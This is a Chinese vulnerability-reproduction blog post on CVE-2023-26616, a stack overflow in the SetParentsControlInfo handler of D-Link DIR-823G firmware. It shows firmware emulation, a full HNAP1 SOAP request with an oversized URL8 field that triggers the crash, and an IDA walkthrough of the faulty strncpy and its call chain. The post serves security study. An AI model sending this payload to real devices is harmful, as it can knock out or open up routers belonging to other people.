D-link DIR-823G(CVE-2023-26616)漏洞复现

漏洞信息

漏洞描述: D-Link DIR-823G firmware version 1.02B05 has a buffer overflow vulnerability, which originates from the URL field in SetParentsControlInfo.

漏洞复现

环境
• 虚拟机:AttifyOS3.0(Ubuntu18)
• 固件版本:D-Link DIR-823G firmware version 1.02B05
• 工具:IDA、binwalk、Firmadyne
步骤

  1. 固件仿真
    安装firmware-analysis-toolkit,运行fat.py进行固件仿真
./fat.py /home/iot/firmware/DIR823G_V1.0.2B05_20181207.bin#固件绝对路径

在这里插入图片描述
2. 仿真验证
按下Enter运行固件,输入192.168.0.1验证仿真。
在这里插入图片描述
3. 漏洞验证
本实验使用火狐浏览器对请求包进行编辑重发进行漏洞验证,也可用python脚本验证。
F12打开开发者选项,点击Network,选择一个/HNAP1数据包,点击Edit and Resend
在这里插入图片描述

<payload(http请求)>
SOAPAction: "http://purenetworks.com/HNAP1/SetParentsControlInfo"
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetParentsControlInfo xmlns="http://purenetworks.com/HNAP1/"><UsersInfo><HostName>1</HostName><Mac>1</Mac><IndexEnable>1</IndexEnable><StartTime>00:00:00</StartTime><EndTime>23:59:00</EndTime><Week>Sun</Week><UrlEnable>1</UrlEnable><URL1>cp.com</URL1><URL2></URL2><URL3></URL3><URL4></URL4><URL5></URL5><URL6></URL6><URL7></URL7><URL8>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</URL8><GroupId>1</GroupId></UsersInfo></SetParentsControlInfo></soap:Body></soap:Envelope>

只需编辑请求头中SOAPAction变量与请求体即可。
在这里插入图片描述
点击send即可完成漏洞验证。
在这里插入图片描述

漏洞分析

根据CVE漏洞描述来源SetParentsControlInfo中的URL变量,在固件中搜索SetParentsControlInfo,发现goahead文件,放入IDA中反汇编。
在这里插入图片描述

搜索URL字符串,查看引用函数。
在这里插入图片描述
对引用函数逐个查看发现栈溢出发生在sub_469F78函数。
在这里插入图片描述

分析发现栈溢出由于使用strncpy,V64-V71字符数组长度64,分别存储URL1-URL8,URL1-URL8的长度未进行限制,因此发生溢出。
在这里插入图片描述
在这里插入图片描述
由此函数反向确定程序调用链。main->sub_423F90->sub_42383C->(LOAD段)sub_46B6E8->sub_469F78
main函数调用sub_423F90,通过sub_423F90返回值进行判断。sub_423F90调用sub_42383C进行/HNAP1请求的处理。
在这里插入图片描述
sub_42383C调用off_588D80表中的内容进行比对,off_588D80表中存储的函数对应的动作,sub_46B6E8位于该表中。在这里插入图片描述
在这里插入图片描述
sub_46B6E8函数即为SetParentsControlInfo函数。
在这里插入图片描述
该漏洞通过请求头设置SetParentsControlInfo动作触发该调用链,造成栈溢出。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值